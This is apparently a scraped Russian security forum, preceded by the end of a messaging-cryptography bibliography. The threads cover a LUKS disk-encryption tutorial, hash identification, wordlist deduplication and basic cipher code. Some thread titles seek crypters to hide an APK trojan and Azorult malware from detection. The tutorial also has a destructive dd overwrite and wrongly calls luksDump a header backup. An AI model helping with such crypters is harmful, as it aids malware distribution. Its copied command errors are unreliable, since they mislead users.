[16] Moxie Marlinspike. Advanced cryptographic ratcheting. https://whispersystems.org/blog/advanced-ratcheting/, November 2013. Accessed: 2016-05-10.
[17] Moxie Marlinspike. Forward Secrecy for Asynchronous Messages. https://whispersystems.org/blog/asynchronous-security/, Augustus 2013. Accessed: 2016-05-
10.
[18] Moxie Marlinspike. Simplifying OTR deniability. https://whispersystems.org/blog/simplifying-otr-deniability/, July 2013. Accessed: 2016-05-10.
[19] Moxie Marlinspike. Private Group Messaging. https://whispersystems.org/blog/private-groups/, May 2014. Accessed: 2016-04-07.
[20] Moxie Marlinspike. Signal on the outside, Signal on the inside. https://whispersystems.org/blog/signal-inside-and-out/, March 2016. Accessed: 2016-04-07.
[21] Kevin Smith Matthew Wild. XEP-0313: Message Archive Management. Standards Track, XMPP Standards Foundation, March 2016. https://xmpp.org/extensions/
xep-0313.html.
[22] Alfred Menezes and Berkant Ustaoglu. On reusing ephemeral keys in Diffie- Hellman key agreement protocols. International Journal of Applied Cryptography, 2(2):154–158,2010.
[23] NIST. Announcing the Advanced Encryption Standard (AES). Technical report, NIST, November 2001.
[24] Trevor Perrin. Double Ratchet Algorithm. https://github.com/trevp/double ratchet/wiki. Accessed: 2016-04-07.
[25] Lance Stout Peter Saint-Andre. XEP-0234: Jingle File Transfer. Standards Track, XMPP Standards Foundation, March 2016. https://xmpp.org/extensions/xep-0234.
html. 22/24 Chamber of Commerce 60628081 Public
[26] Peter Saint-Andre. Extensible Messaging and Presence Protocol (XMPP): Core. RFC 6120, RFC Editor, March 2011. <https://www.rfc- editor.org/rfc/rfc6120.txt>.
[27] Peter Saint-Andre. Extensible Messaging and Presence Protocol (XMPP): Core. RFC 6122, RFC Editor, March 2011. <https://www.rfc- editor.org/rfc/rfc6122.txt>.
[28] Peter Saint-Andre. Extensible Messaging and Presence Protocol (XMPP): Instant Messaging and Presence. RFC 6121, RFC Editor, March 2011. https://www.rfc-editor.org/rfc/rfc6121.txt.
[29] Andreas Straub. XEP-xxxx: OMEMO Encryption. ProtoXEP, XMPP Standards Foundation, October 2015. https://xmpp.org/extensions/inbox/omemo.html.
[30] Open Whisper Systems. Signal Protocol library for Java/Android. https://github.com/WhisperSystems/libsignal-protocol-java. Accessed: 2016-05-10.
[31] Zooko Wilcox-O’Hearn. Attacks on Convergent Encryption. Technical report, TahoeLAFS, March 2008. https://tahoe-lafs.org/hacktahoelafs/drew perttula.html Accessed: 2016-05-10.

Шифрование дисков в Linux
ID: 676536fbb4103b69df373842
Thread ID: 45935
Created: 2020-12-23T19:59:57+0000
Last Post: 2021-10-31T20:37:38+0000
Author: tabac
Prefix: Статья
Replies: 4 Views: 3K

Безопасность и конфиденциальность очень важны, для тех, кто хранит важные данные на компьютере. Если вы носите свой ноутбук с собой почти везде и к нему могут иметь доступ посторонние лица, возникает вопрос - как защитить свои данные от чужого вмешательства. Именно от физических атак, где каждый желающий может попытаться получить данные из USB накопителя или жесткого диска ноутбука просто забрав устройство или в случае ноутбука, вытянув жесткий диск и подключив его к другой операционной системе.

Методы шифрования данных в linux​

Шифрование на уровне файловой системы:

  • 1. eCryptfs - это криптографическая файловая система Linux. Она хранит криптографические метаданные для каждого файла в отдельном файле, таким образом, что файлы можно копировать между компьютерами. Файл будет успешно расшифрован, если у вас есть ключ. Это решение широко используется для реализации зашифрованной домашней директории, например, в Ubuntu. Также ChromeOS прозрачно встраивает эти алгоритмы при использовании сетевых устройств для хранения данных (NAS).
  • 2. EncFS - обеспечивает шифрованную файловую систему в пространстве пользователя. Она работает без каких-либо дополнительных привилегий и использует библиотеку fuse и модуль ядра для обеспечения интерфейса файловой системы. EncFS - это свободное программное обеспечение и она распространяется под лицензией GPL. В наши дни эта файловая система уже устарела потому что в ней было найдено несколько уязвимостей. Вместо неё популярность набирают другие утилиты.

Блочное шифрование на уровне устройства:

  • Loop-AES - быстрая и прозрачная файловая система, а также пакет для шифрования раздела подкачки в Linux. Исходный код программы давно не изменялся. Она работает с ядрами 4.x, 3.x, 2.2, 2.0.
  • TrueCrypt - это бесплатное решение с открытым исходным кодом для шифрования диска в операционных системах Windows 7 / Vista /XP / Mac OS X, а также в Linux.
  • dm-crypt+LUKS - dm-crypt - это прозрачная подсистема для шифрования диска в ядре 2.6 и более поздних версиях. Поддерживается шифрование целых дисков, съемных носителей, разделов, томов RAID, программного обеспечения, логических томов и файлов.

В этой инструкции мы рассмотрим шифрование жесткого диска на Linux с помощью алгоритма Linux Unified Key Setup-on-disk-format (LUKS).

Как работает luks?​

LUKS (Linux Unified Key Setup - протокол шифрования блочного устройства. Но мы забежали далеко наперед, чтобы понять как это работает, нужно скачала разобраться с другими технологиями, используемыми в этом способе.

Чтобы выполнить шифрование диска linux используется модуль ядра dm-crypt. Этот модуль позволяет создавать в каталоге /dev/mapper виртуальное блочное устройство с прозрачным для файловой системы и пользователя шифрованием. Фактически все данные лежат на зашифрованном физическом разделе. Если пользователь пытается записать данные на виртуальное устройство, они на лету шифруются и записываются на диск, при чтении с виртуального устройства, выполняется обратная операция - данные расшифровываются с физического диска и передаются в открытом виде через виртуальный диск пользователю. Обычно для шифрования используется метод AES, потому что под него оптимизированы большинство современных процессоров. Важно заметить, что вы можете шифровать не только разделы и диски, но и обычные файлы, создав в них файловую систему и подключив как loop устройство.

Алгоритм LUKS определяют какие действия и в каком порядке будут выполняться во время работы с шифрованными носителями. Для работы с LUKS и модулем dm-crypt используется утилита Cryptsetup. Ее мы и рассмотрим далее.

Утилита cryptsetup​

Утилита Cryptsetup позволят облегчить шифрование раздела Linux с помощью модуля dm-crypt. Давайте сначала ее установим.

В Debian или Ubuntu, для этого используйте такую команду:

Code:Copy to clipboard

suduo apt install cryptsetup

![](/proxy.php?image=https%3A%2F%2Flosst.ru%2Fwp- content%2Fuploads%2F2016%2F05%2FSnimok-ekrana- ot-2020-09-04-13-21-15-911x576.png&hash=d515bf2e9e24e5932d53301109b2caa3)

В дистрибутивах, основанных на Red Hat это будет выглядеть так:

Code:Copy to clipboard

sudo yum install cryptsetup-luks

Синтаксис запуска команды такой:

Code:Copy to clipboard

$ cryptsetup опции операция параметры_операции

Рассмотрим основные операции, которые можно сделать с помощью этой утилиты:

  • luksFormat - создать зашифрованный раздел luks linux;
  • luksOpen - подключить виртуальное устройство (нужен ключ);
  • luksClose - закрыть виртуальное устройство luks linux;
  • luksAddKey - добавить ключ шифрования;
  • luksRemoveKey - удалить ключ шифрования;
  • luksUUID - показать UUID раздела;
  • luksDump - создать резервную копию заголовков LUKS.

Параметры операции зависят от самой операции, обычно это либо физическое устройство, с которым нужно произвести действие, либо виртуальное или и то и другое. Еще не все понятно, но на практике, я думаю, вы со всем разберетесь.

Шифрование диска linux​

Теория пройдена, все инструменты готовы. Теперь рассмотрим шифрование раздела Linux. Перейдем к настройке жесткого диска. Обратите внимание, что это удалит все данные из диска или раздела, который вы собираетесь зашифровать. Так что если там есть важные данные, лучше скопируйте их в более надежное место.

1. Создание раздела​

В этом примере мы будем шифровать раздел /dev/sda6, но вместо него вы можете использовать целый жесткий диск или просто один файл, заполненный нулями. Создаем шифрованный раздел:

Code:Copy to clipboard

sudo cryptsetup -y -v luksFormat /dev/sdb1

Эта команда выполнит инициализацию раздела, установит ключ инициализации и пароль. Сначала надо подтвердить создание виртуального шифрованного диска набрав YES, затем нужно указать пароль. Указывайте такой пароль, чтобы его потом не забыть.

![](/proxy.php?image=https%3A%2F%2Flosst.ru%2Fwp- content%2Fuploads%2F2016%2F05%2FSnimok-ekrana- ot-2020-09-04-13-26-08-911x576.png&hash=a6c29fa2fffeb14b1ee0fb04af9216d5)
Выполните такую команду чтобы открыть только что созданный раздел с помощью модуля dm-crypt в /dev/mapper, для этого понадобится ввести пароль, с которым выполнялось шифрование luks linux:

Code:Copy to clipboard

sudo cryptsetup luksOpen /dev/sdb1 backup2

![](/proxy.php?image=https%3A%2F%2Flosst.ru%2Fwp- content%2Fuploads%2F2016%2F05%2FSnimok-ekrana- ot-2020-09-04-13-28-09-911x576.png&hash=87ee8016d95c2c9db3a7095ddf6b322c)

Теперь вы можете увидеть новое виртуальное устройство /dev/mapper/backup2 созданное с помощью команды luksFormat:

Code:Copy to clipboard

 ls -l /dev/mapper/backup2

![](/proxy.php?image=https%3A%2F%2Flosst.ru%2Fwp- content%2Fuploads%2F2016%2F05%2FSnimok-ekrana- ot-2020-09-04-13-28-25-911x576.png&hash=e0d243237567d38c222d3c8b61335aa4)

Чтобы посмотреть состояние устройства выполните:

Code:Copy to clipboard

sudo cryptsetup -v status backup2

![](/proxy.php?image=https%3A%2F%2Flosst.ru%2Fwp- content%2Fuploads%2F2016%2F05%2FSnimok-ekrana- ot-2020-09-04-13-28-46-911x576.png&hash=2b276df3bfc0e38d1615cd9c2208f800)

А с помощью следующей команды вы можете сделать резервную копию заголовков LUKS на всякий случай:

Code:Copy to clipboard

 cryptsetup luksDump /dev/sdb1

![](/proxy.php?image=https%3A%2F%2Flosst.ru%2Fwp- content%2Fuploads%2F2016%2F05%2FSnimok-ekrana- ot-2020-09-04-13-29-46-911x576.png&hash=58944d42559c03119578a6dfc3d9beae)
Ну, можно сказать, раздел готов. И что самое интересное, теперь вы можете им пользоваться так же, как и любым другим обычным разделом в каталоге**/dev**. Его можно форматировать с помощью стандартных утилит, записывать на него данные, изменять или проверять файловую систему и т д. Нельзя только изменить размер. То есть все полностью прозрачно, как и сказано в начале статьи.

2. Форматирование раздела​

Давайте для начала отформатируем диск. Для надежности, чтобы стереть все данные, которые были в этом месте раньше, перезапишем наш шифрованный раздел linux нулями. Это уменьшит вероятность взлома шифрования, через увеличение количества случайной информации. Для этого выполните:

Code:Copy to clipboard

 dd if=/dev/zero of=/dev/mapper/backup2

Работа утилиты может занять несколько часов, чтобы иметь возможность наблюдать за процессом, используйте pv:

Code:Copy to clipboard

 pv -tpreb /dev/zero | dd of=/dev/mapper/backup2 bs=128M

Когда процесс завершится мы можем отформатировать устройство в любую файловую систему. Например, отформатируем в ext4:

Code:Copy to clipboard

sudo mkfs.ext4 /dev/mapper/backup2

![](/proxy.php?image=https%3A%2F%2Flosst.ru%2Fwp- content%2Fuploads%2F2016%2F05%2FSnimok-ekrana- ot-2020-09-04-13-30-49-911x576.png&hash=863cce65f73d7f7087d0e230e0eace1f)
Как видите, все команды cryptsetup применяются к физическому разделу, в то время как остальные команды для работы с дисками - к нашему виртуальному.

3. Монтирование раздела​

Теперь можно примонтировать только, что созданную файловую систему:

Code:Copy to clipboard

 mkdir /backup2

Code:Copy to clipboard

sudo mount /dev/mapper/backup2 /backup2

Code:Copy to clipboard

 ls -l /backup2

![](/proxy.php?image=https%3A%2F%2Flosst.ru%2Fwp- content%2Fuploads%2F2016%2F05%2FSnimok-ekrana- ot-2020-09-04-13-32-57-911x576.png&hash=0dc806a2b405ea90eac8cb8f50cf0944)

4. Отключение раздела​

Все работает, но как отключить устройство и защитить данные. Для этого выполните:

Code:Copy to clipboard

sudo umount /backup2

Code:Copy to clipboard

sudo cryptsetup luksClose backup2

5. Повторное монтирование​

Чтобы снова получить возможность работать с зашифрованным разделом с помощью LUKS linux необходимо опять его открыть:

Code:Copy to clipboard

sudo cryptsetup luksOpen /dev/sdb1 backup2

Теперь можем монтировать:

Code:Copy to clipboard

sudo mount /dev/mapper/backup2 /backup2

6. Проверить файловую систему luks​

Поскольку после открытия раздела с помощью luks linux, этот раздел воспринимается системой, как и все другие, вы можете просто использовать утилиту fsck:

Code:Copy to clipboard

 sudo umount /backup2

sudo fsck -vy /dev/mapper/backup2

sudo mount /dev/mapper/backup2 /backu2

7. Изменить парольную фразу luks​

Шифрование дисков Linux выполняется с определенной парольной фразой, но вы можете ее изменить. Даже больше, вы можете создать до восьми разных парольных фраз. Для изменения выполнив следующие команды. Сначала сделаем резервную копию заголовков LUKS:

Code:Copy to clipboard

sudo cryptsetup luksDump /dev/sdb1

Затем создадим новый ключ:

Code:Copy to clipboard

sudo cryptsetup luksAddKey /dev/sdb1

![](/proxy.php?image=https%3A%2F%2Flosst.ru%2Fwp- content%2Fuploads%2F2016%2F05%2FSnimok-ekrana- ot-2020-09-04-13-33-30-911x576.png&hash=930b045a066298e02276f1d8c33d4643)

И удалим старый:

Code:Copy to clipboard

sudo cryptsetup luksRemoveKey /dev/sdb1

Сейчас вам придется ввести еще старый пароль.

Выводы​

Вот и все теперь вы знаете как зашифровать раздел в Linux, а также понимаете как все это работает. Кроме того, шифрование дисков в Linux по алгоритму LUKS открывает широкие возможности для полного шифрования устанавливаемой системы.

Плюсы:

  • LUKS шифрует все блочное устройство, и поэтому очень хорошо подходит для защиты содержимого переносных устройств, таких как мобильные телефоны, съемные носители или жесткие диски ноутбуков.
  • Вы можете использовать на серверах NAS для защиты резервных копий
  • Процессоры Intel и AMD с AES-NI (Advanced Encryption Standard) имеют набор команд, которые могут ускорить процесс шифрования на основе dm-crypt в ядре Linux начиная с 2.6.32.
  • Работает в том числе и с разделом подкачки, так что ваш ноутбук может использовать функцию спящего режима, или гибернации полностью безопасно.

Минусы:

  • LUKS поддерживает шифрование только до восьми паролей. Это значит что только восемь пользователей с разными паролями могут иметь доступ к устройству.
  • LUKS не рекомендуется для приложений, требующих шифрование на уровне файлов.

Источник losst.ru

Узнать что за хеш (пароль известен)
ID: 676536fbb4103b69df373873
Thread ID: 48600
Created: 2021-02-25T03:08:58+0000
Last Post: 2021-03-29T10:02:37+0000
Author: Chu Feng
Replies: 10 Views: 3K

Ребят , пароль 12345 превращается в $2a$10$OOv2wLxbNjUxVcc1sjysau1.tLb0WFBUpAD//OFZNXRwXP3basbF6
Что это за хеш ?

Что будет если выключить компьютер не размонтировав диск VeraCrypt?
ID: 676536fbb4103b69df37387a
Thread ID: 48119
Created: 2021-02-14T20:11:56+0000
Last Post: 2021-02-28T02:29:01+0000
Author: 0x2d4_a8
Replies: 28 Views: 3K

Использую линукс. Насколько я знаю, линукс автоматически при выключении компьютера размонтирует все диски.
Касается ли это дисков VeraCrypt?
Обязательно ли перед каждым выключением компьютера в приложении VeraCrypt жать Dismount all?
Что будет если не размонтировать? Данные остануться не зашифрованными или пропадут данные измененные с последнего монтирования?
Тот же вопрос и про выключение питания, если вдруг пропадет питание, что произойдет с данными?

Apk crypt
ID: 676536fbb4103b69df373888
Thread ID: 41120
Created: 2020-08-20T12:35:40+0000
Last Post: 2021-01-02T17:04:42+0000
Author: abeona11
Replies: 14 Views: 3K

кто-то знает какой-нибудь apk crypter для трояна

Merge Tool или как быстро удалить дубли в огромных файлах [by MEXAHHUK]
ID: 676536fbb4103b69df3738a6
Thread ID: 27347
Created: 2019-01-18T16:36:35+0000
Last Post: 2020-07-20T23:12:00+0000
Author: Xrenovi4
Prefix: Статья
Replies: 5 Views: 3K

На hashkiller есть такая утилита - Merge Tool
Её описание есть на форуме, в офф теме разработчика: https://forum.hashkiller.co.uk/topic-view.aspx?t=5512
Программа удаляет дубли за доли секунды, к примеру для удаление дублей в файле 2.3 гигабайта - потребовалось 3-4 минуты времени. Она хорошо работает со всеми кодировками, не портит их, переводит в $HEX[] формат, затем удаляет дубликаты и возвращает как было.

В данном случае мы рассмотрим и настроим софт на удаление дублей.
Качаем, разархивируем, создаем файл remove_dubles с расширением .bat
В файле пишем:

Code:Copy to clipboard

App.Merge.exe o="rez_out.txt" t=4 "rez.txt"
pause

rez.txt - файл, в котором мы хотим удалить дубликаты.
rez_out.txt - файл, который мы получим в итоге.

Софт может объединять сразу несколько файлов и после удалять дубли, для этого просто вписываем нужные нам файлы:

Code:Copy to clipboard

App.Merge.exe o="rez_out.txt" t=4 "rez.txt" "rez2.txt" "rez3.txt"
pause

rez.txt - файл, в котором мы хотим удалить дубликаты.
rez2.txt - 2-й файл, в котором мы хотим удалить дубликаты.
rez3.txt - 3-й файл, в котором мы хотим удалить дубликаты.
rez_out.txt - общий файл, который мы получим в итоге.

Также можно прописать различные опции:
o=[out-file] - Выходной файл.
t=[threads] - Потоки, используется для ускорения сортировки вверх только.
c=[mem] - Используется для управления, сколько оперативной памяти для использования в МБ. По умолчанию 1024. блокированного в 3072.
min=[num] - Минимальная длина слова. По умолчанию = 1
max=[num] - Максимальная длина слова. По умолчанию = 4096.

Формат команды:
App.Merge.exe o="output-file.txt" t=4 [options] ... "word-list1.txt" "word- list2.lst" "directory1" ...

Для анализа отчета словесного списка:
App.Merge.exe r = "словарь-list1.txt"

Двойные кавычки необходимы для имени пути / файлов, которые содержат пробелы. Можно также указать пути к каталогам, если вы хотите объединить / сортировать множество файлов в папках.

Автор данной темы MeXaHHuk

Криптографическая задачка с hackthebox
ID: 676536fbb4103b69df3738a9
Thread ID: 35573
Created: 2020-03-19T10:31:56+0000
Last Post: 2020-06-26T12:02:01+0000
Author: Joynses
Replies: 7 Views: 3K

Скачать: [CLIKE]

walzer.txt - AnonFiles

anonfiles.com anonfiles.com

[/CLIKE]

Подсказок не будет, так как задача не моя) Удачи!

Пишем свой криптор на C#. ;)
ID: 676536fbb4103b69df3738b5
Thread ID: 35388
Created: 2020-03-06T22:11:23+0000
Last Post: 2020-03-08T23:48:53+0000
Author: Robert0008
Replies: 7 Views: 3K

[CLIKE][/CLIKE]

Криптография, или как зашифровать свое послание?(globalwinner228 к конкурсу статей 2020)
ID: 676536fbb4103b69df3738b6
Thread ID: 35269
Created: 2020-02-29T23:29:51+0000
Last Post: 2020-02-29T23:29:51+0000
Author: Globalwinner228
Prefix: Статья
Replies: 0 Views: 3K

Титулка.png
Криптография, или как зашифровать свое послание?(globalwinner228 к конкурсу статей 2020)

Многие задаются вопросом как зашифровать свое послание или что такое криптография? Одним словом криптография - наука о математических методах шифрования посланий. Развилась из-за практической необходимости передавать важные сведения самым надежным образом. В этой статье я расскажу вам об некоторых методах шифрования. Параллельно с теорией я покажу всё на практике, а также покажу собственную программу для шифрования. Я сам ее создал. Погнали!

Начнем с самого простого что такое шифрование и каких оно бывает видов.
Обо всем я рассказал в видео ниже.

Следует вопрос – как именно можно зашифровать сообщение? Для этого используют криптоалгоритмы – методы шифрования. Потребность в их использовании появилась очень давно. Вернемся на несколько тысячилетий назад и поговорим об первых методах шифрования. Первым известным применением криптографии принято считать использование специальных иероглифов около 4000 лет назад в Древнем Египте. Криптография египтян использовалась не с целью затруднить чтение, а скорее всего, со стремлением писцов превзойти друг друга в остроумии и находчивости, а также с помощью необычности и загадочности, привлечь внимание к своим текстам. Примеры использования криптографии можно встретить в священных иудейских книгах, в том числе в книге пророка Иеремии, где использовался простой метод шифрования под названием атабаш - простой шифр подстановки для аалфавитного письма. Правило шифрования состоит в замене i-й буквы алфавита буквой с номером n-i+1, где n — число букв в алфавите.​

Исходный текст| А| Б| В| Г| Д| Е| Ё| Ж| З| И| Й| К| Л| М| Н| О| П| Р| С| Т| У| Ф| Х| Й| Ч| Ш| Щ| Ь| Ы| Э| Ю| Я
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---
Зашифрований| Я| Ю| Э| Ы| Ь| Щ| Ш| Ч| Й| Х| Ф| У| Т| С| Р| П| О| Н| М| Л| К| Й| И| Х| Ж| Ё| Е| Д| Г| В| Б| А

Скитала, также известная как «шифр древней Спарты», также является одним из древнейших известных криптографических устройств. Бесспорно известно, что скитала использовалась в войне Спарты против Афин. Скитала представляла собой длинный стержень, на который наматывалась лента из пергамента. На ленту наносился текст вдоль оси скиталы, так, что после разматывания текст становился нечитаемым. Для его восстановления требовалась скитала такого же диаметра. Считается, что автором способа взлома шифра скиталы является Аристотель, который наматывал ленту на конусообразную палку до тех пор, пока не появлялись читаемые куски текста.
1_oMOkZ6x5InH0C0RQHgWoqA.jpeg
С именем Энея Тактика связывают несколько техник шифрования и тайнописи.

1)Диск Энея:

Диск Энея представлял собой диск диаметром 10—15 см с отверстиями по числу букв алфавита. Для записи сообщения нитка протягивалась через отверстия в диске, соответствующие буквам сообщения. При чтении получатель вытягивал нитку, и получал буквы, правда, в обратном порядке. Хотя недоброжелатель мог прочитать сообщение, если перехватит диск, Эней предусмотрел способ быстрого уничтожения сообщения — для этого было достаточно выдернуть нить, закреплённую на катушке в центре диска.

2)Линейка Энея:

Первым действительно криптографическим инструментом можно назвать линейку Энея, реализующую шифр замены. Вместо диска использовалась линейка с отверстиями по числу букв алфавита, катушкой и прорезью. Для шифрования нить протягивалась через прорезь и отверстие, после чего на нити завязывался очередной узел. Для дешифрования необходимо было иметь саму нить и линейку с аналогичным расположением отверстий. Таким образом, даже зная алгоритм шифрования, но не имея ключа (линейки), прочитать сообщение было невозможно.

3)Книжный шифр:

В своём сочинении «О перенесении осады» Эней описывает ещё одну технику тайнописи, позже названную «книжным шифром». Он предложил делать малозаметные дырки рядом с буквами в книге или другом документе[17]. Много позже аналогичный шифр использовали немецкие шпионы во время Первой мировой войны.
Защита_информации- дело_любого_студента!.jpg
Вот я рассказал вам об первых методах и приборах шифрования. Ну а перед тем как мы перейдем к современным криптоалгоритмам хотелось би рассказать вам интересную историю об Энигме – одной из первых шифровальных машин. Она использовалась Германией во времена Второй Мировой войны. Вот собственно и она:

d8c19252bd41a659c66657883e2f25d0.i999x999x670.jpeg
Основной ее частью являются роторы. Подробнее о них и о алгоритме шифрования с помощью машинки в видео ниже. Образец ротора:
Enigma-rotor-flat-contacts.jpg
Enigma-rotor-pin-contacts.jpg
Обо всех особенностях машинки, а также об методе шифрования я рассказал(точнее перевел) в видео ниже. Приятного просмотра!

Теперь перейдем к современным методам шифрования. Их очень много и их разделяют на бесключевые, одноключевые и двухлучевые. Здесь я расскажу только про самые интересные или самые используемые криптоалгоритмы.
38b4d7710ddf45c89f78e9df4273db8d.gif

Бесключевые:

Есть довольно много бесключевых алгоритмов таких как MD2, Tiger, Sha – 1/2, Sha – 3, и другие. Я не буду рассказывать про каждый отдельно. Я всего лишь разглашу вам об них в общем. Бесключевые КА(криптографические алгоритмы) — алгоритмы которые не используют в вычислениях никаких ключей. Чаще всего они представляют из себя хеш-функции. Хеш-функция — функция, осуществляющая преобразование массива входных данных произвольной длины в битовую строку установленной длины, выполняемое определённым алгоритмом(без ключа). Обычно хеширование(использование хеш-функций) используют на сайтах где есть регистрация. С ёе помощью можно зашифровать пароль. Хеш-функция работает так что зашифровать легко, а расшифровать сложно. Зашифрованный текст обычно подается в 16-ричной системе счисления.

Одноключевые:

Этого вида алгоритмов так же является очень много. Я расскажу лишь про самые интересные или самые популярные алгоритмы. Погнали!

Шифр Цезаря

Это один из самых простых алгоритмов. И в тоже время один из самых популярных. Эго очень часто используют из-за простоты. Он является одноключевым(ключом есть цифра – количество сдвигов). А теперь подробнее про его работу. Допустим мы выбрали ключ 3:
Caesar3.svg.png
Вот примерно так он и работает. Каждую букву в исходном слове(словосочетании или предложении) мы сдвигаем на н(где н - ключ) единиц вправо по алфавиту. А теперь интересная история. Как думаете зачем Цезарь создал алгоритм? Дело в том что Юлий Цезарь просто не доверял своим подданым и был уверен что среди своих – крыса. Исходя из этих фактов, великий император решил создать шифр и использовать его в военных переписках. Ну что же надеюсь вы поняли как работает алгоритм. Тепер вы можете использовать его в личных целях. Чуть чуть оторвемся от теми. Как я и обещал в начале статьи я вам покажу мою программу для шифрования сообщений. Вот как она виглядит:
1.JPG
Что же можно здесь сделать? Можно прочитать термин шифрование. Можно начать работать. Нажимаю на кнопку Начать:
2.JPG
Здесь можно выбрать алгоритм шифрования с каким вы хотите работать. Здесь их только 5. Работают 2. Программы нету в доступе. Как только я добавлю побольше(ка минимум 10) алгоритмов я создам статью где опишу полностью программу и дам ссылку на скачивание. Ну а теперь к реализации шифра Цезаря. Надеюсь все знают C#. Я реализовал алгоритм именно на этом языке. Реализация:

Code:Copy to clipboard

public class CaesarCipher
        {
            //символы русской азбуки
            const string alfabet = "АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ";

            private string CodeEncode(string text, int k)
            {
                //добавляем в алфавит маленькие буквы
                var fullAlfabet = alfabet + alfabet.ToLower();
                var letterQty = fullAlfabet.Length;
                var retVal = "";
                for (int i = 0; i < text.Length; i++)
                {
                    var c = text[i];
                    var index = fullAlfabet.IndexOf(c);
                    if (index < 0)
                    {
                        //если символ не найден, то добавляем его в неизменном виде
                        retVal += c.ToString();
                    }
                    else
                    {
                        var codeIndex = (letterQty + index + k) % letterQty;
                        retVal += fullAlfabet[codeIndex];
                    }
                }

                return retVal;
            }

            //шифрование текста
            public string Encrypt(string plainMessage, int key)
                => CodeEncode(plainMessage, key);

            //дешифрование текста
            public string Decrypt(string encryptedMessage, int key)
                => CodeEncode(encryptedMessage, -key);
        }

Вот код. Это все функции и методы для алгоритма. Вот как всё выглядит в программе:
3.JPG
Не буду комментировать. Здесь всё ясно и понятно.
Примеры:
5.JPG
1583017725655.png
Всё предельно просто!

Шифр Виженера
Этот шифр очень похож на предыдущий. Шифр Виженера представляет собой несколько шифров Цезаря. В шифре Цезаря каждая буква алфавита сдвигается на несколько позиций; например в шифре Цезаря при сдвиге +3, A стало бы D, B стало бы E и так далее. Шифр Виженера состоит из последовательности нескольких шифров Цезаря с различными значениями сдвига. Для зашифровывания может использоваться таблица алфавитов, называемая квадрат Виженера. Применительно к латинскому алфавиту таблица Виженера составляется из строк по 26 символов, причём каждая следующая строка сдвигается на несколько позиций. Таким образом, в таблице получается 26 различных шифров Цезаря. На каждом этапе шифрования используются различные алфавиты, выбираемые в зависимости от символа ключевого слова.
Например, предположим, что исходный текст имеет такой вид: Програмист , а за ключ возьмем слово – Хакер.
Таким образом, ми получим слово ЕРЩЗБХМУЦГ(расшифрованное - програмист). Я также реализовал алгоритм в своей программе. Таблца Виженера:
800px-Vigenère_square.svg.png
Код шифра Виженера:

Code:Copy to clipboard

public class VigenereCipher
        {
            const string defaultAlphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
            readonly string letters;

            public VigenereCipher(string alphabet = null)
            {
                letters = string.IsNullOrEmpty(alphabet) ? defaultAlphabet : alphabet;
            }

            //генерация повторяющегося пароля
            private string GetRepeatKey(string s, int n)
            {
                var p = s;
                while (p.Length < n)
                {
                    p += p;
                }

                return p.Substring(0, n);
            }

            private string Vigenere(string text, string password, bool encrypting = true)
            {
                var gamma = GetRepeatKey(password, text.Length);
                var retValue = "";
                var q = letters.Length;

                for (int i = 0; i < text.Length; i++)
                {
                    var letterIndex = letters.IndexOf(text[i]);
                    var codeIndex = letters.IndexOf(gamma[i]);
                    if (letterIndex < 0)
                    {
                        //если буква не найдена, добавляем её в исходном виде
                        retValue += text[i].ToString();
                    }
                    else
                    {
                        retValue += letters[(q + letterIndex + ((encrypting ? 1 : -1) * codeIndex)) % q].ToString();
                    }
                }

                return retValue;
            }

            //шифрование текста
            public string Encrypt(string plainMessage, string password)
                => Vigenere(plainMessage, password);

            //дешифрование текста
            public string Decrypt(string encryptedMessage, string password)
                => Vigenere(encryptedMessage, password, false);
        }

Код работает довольно просто. Теперь я покажу как это выглядит в самой программе и, конечно, покажу парочку примеров.
6.JPG
8.JPG
DES
DES
— алгоритм для симметричного шифрования, разработанный фирмой IBM и утверждённый правительством США в 1977 году как официальный стандарт (FIPS 46-3). Размер блока для DES равен 64 битам. В основе алгоритма лежит сеть Фейстеля с 16 циклами (раундами) и ключом, имеющим длину 56 бит.

Схема шифрования алгоритма:
600px-DES_algorithm_scheme.png
К сожалению в моей программе еще нет этого алгоритма. Скоро он в ней появится!

RSA

RSA - криптографический алгоритм с открытым ключом, основывающийся на вычислительной сложности задачи факторизации больших целых чисел. По факту для шифрования(создания секретного ключа) нужно всего лишь придумать 2 простых числа. Чем больше числа тем сложнее алгоритм взломать. К сожалению в моей программе еще нет этого алгоритма. Скоро он в ней появится!

Этот алгоритм создали ученые американского университета МИТ:
Рональд Ривест
Ronald_L_Rivest_photo.jpg
Ади Шамир
Adi_Shamir_2009_crop.jpg
Леонард Адлеман
382px-Len-mankin-pic.jpg

Теперь перейдем к алгоритму шифрования.

RSA-ключи генерируются следующим образом:

Выбираются два различных случайных простых числа p и q заданного размера (например, 1024 бита каждое).

Вычисляется их произведение n = p*q , которое называется модулем.

Вычисляется значение функции Эйлера от числа n:

F(n)=(p-1)*(q-1)

Выбирается целое числое ( 1<e<F(n) ), взаимно простое со значением функции F(n) .

Число е называется открытой экспонентой

Обычно в качестве е берут простые числа, содержащие небольшое количество единичных бит в двоичной записи, например, простые из чисел Ферма: 17, 257 или 65537, так как в этом случае время, необходимое для шифрования с использованием быстрого возведения в степень будет меньше.

Слишком малые значения e , например 3, потенциально могут ослабить безопасность схемы RSA.

Вычисляется число d, мультипликативно обратное к числу e по модулю F(n) , то есть число, удовлетворяющее сравнению:

d*e=1 (mod F(n)).

Число d называется секретной экспонентой. Обычно оно вычисляется при помощи расширенного алгоритма Евклида.

Пара (e,n) публикуется в качестве открытого ключа RSA

Пара (d,n)играет роль закрытого ключа RSA и держится в секрете.
950px- Public_key_encryption_for_rsa_only_key.jpg
Алгоритм шифрования :

Взять открытый ключ (e,n) Алисы

Взять открытый текст m

Зашифровать сообщение с использованием открытого ключа Алисы:

c = E(m) = m^e mod(n)

Алгоритм расшифрования :

Принять зашифрованное сообщение c

Взять свой закрытый ключ (d,n)

Применить закрытый ключ для расшифрования сообщения:

m = D(c) = c^d mod(n)

Алгоритм не простой. Не пугайтесь если сразу же его не поняли.

Ну и на этом пожалуй всё. Есть так же интересный алгоритм AES(как вы видели я планирую добавить его в мою программу). Огромное спасибо что прочитали мою статью до конца. Я не профессиональный писатель так что не судите строго. Если есть вопроси пишите в коментариях!

Crypter Azorult подскажите
ID: 676536fbb4103b69df3738c4
Thread ID: 33924
Created: 2019-12-18T23:57:06+0000
Last Post: 2019-12-19T17:55:38+0000
Author: Kasperrr123
